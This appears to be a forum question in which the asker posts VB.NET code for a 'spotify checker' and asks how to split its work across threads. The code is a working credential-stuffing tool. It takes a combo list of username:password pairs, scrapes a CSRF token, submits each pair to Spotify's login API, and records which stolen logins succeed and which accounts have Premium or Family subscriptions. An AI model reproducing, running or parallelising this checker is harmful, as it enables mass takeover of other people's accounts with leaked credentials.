Multithreading and splitting the workload - vb.net

Question

So I created a spotify checker to check a list of accounts on their logins and current subscription, This works fine, but it's only running on one thread and that in my opinion is really slow. So I started searching around for multithreading (I am pretty new to vb.net and am trying to learn this way.) But everything I threw at it would just run all threads seperately on the same accounts without any difference in results, just that they were printed out multiple times.
The code for the sub Login:
Public Sub Login()
Dim index As Integer = 0
While index < Combos.Count
Dim str() As String = Combos(index).Split(":")
Using req As New HttpRequest
req.UserAgent = Http.ChromeUserAgent
req.Cookies = New CookieDictionary()
req.Proxy = Nothing
req.IgnoreProtocolErrors = True
req.Get("https://accounts.spotify.com/en-US/login?continue=https:%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F")
Dim token As String = req.Cookies.ToString
Dim csrf As String = Regex.Match(token, "csrf_token=(\S+)").Groups(1).ToString
req.Referer = "https://accounts.spotify.com/en-US/login?continue=https:%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F"
req.AddHeader("Cookie", "csrf_token=" + csrf + "; __bon=MHwwfDQ1MzY4Nzk4M3wxOTA1NDg5NTI4NnwxfDF8MXwx; fb_continue=https%3A%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F; remember=false")
req.AddParam("remember", "false")
req.AddParam("username", str(0))
req.AddParam("password", str(1))
req.AddParam("captcha_token", "")
req.AddParam("csrf_token", csrf)
Dim respo As String = req.Post("https://accounts.spotify.com/api/login").ToString
If respo.Contains("displayName") Then
Dim IT As New ListViewItem
IT.Text = str(0)
IT.SubItems.Add(str(1))
Dim html As String = req.Post("https://spotify.com/account/subscription/").ToString
Dim Info As Match = Regex.Match(html, "<h3.*>(.*)<\/h3>")
Dim Type As String = Info.Groups(1).Value
If Type.Contains("Spotify Premium") Then
IT.SubItems.Add("Spotify Premium")
ListView1.Items.Add(IT)
Label3.Text += 1
Label1.Text += 1
ElseIf Type.Contains("Premium for Family") Then
IT.SubItems.Add("Spotify Premium for Family")
ListView1.Items.Add(IT)
Label3.Text += 1
Label1.Text += 1
Else
If StrafeCheckBox1.Checked = False Then
Label2.Text += 1
Else
IT.SubItems.Add("Free")
ListView1.Items.Add(IT)
Label1.Text += 1
End If
End If
Else
Label2.Text += 1
End If
End Using
index += 1
StrafeProgressBar1.Value = index
If index = Combos.Count Then
MsgBox("Done, successfull logins: " + Label1.Text)
End If
End While
End Sub
Code for the start button:
Private Sub LoginBTN_Click(sender As Object, e As EventArgs) Handles StartBTN.Click
Dim IH As New Thread(AddressOf Login) : IH.Start()
StrafeProgressBar1.Maximum = Combos.Count
End Sub
So what I basically want to know, is how I get the threads to split the
workload evenly. and finish the job a lot quicker.
All help is appreciated.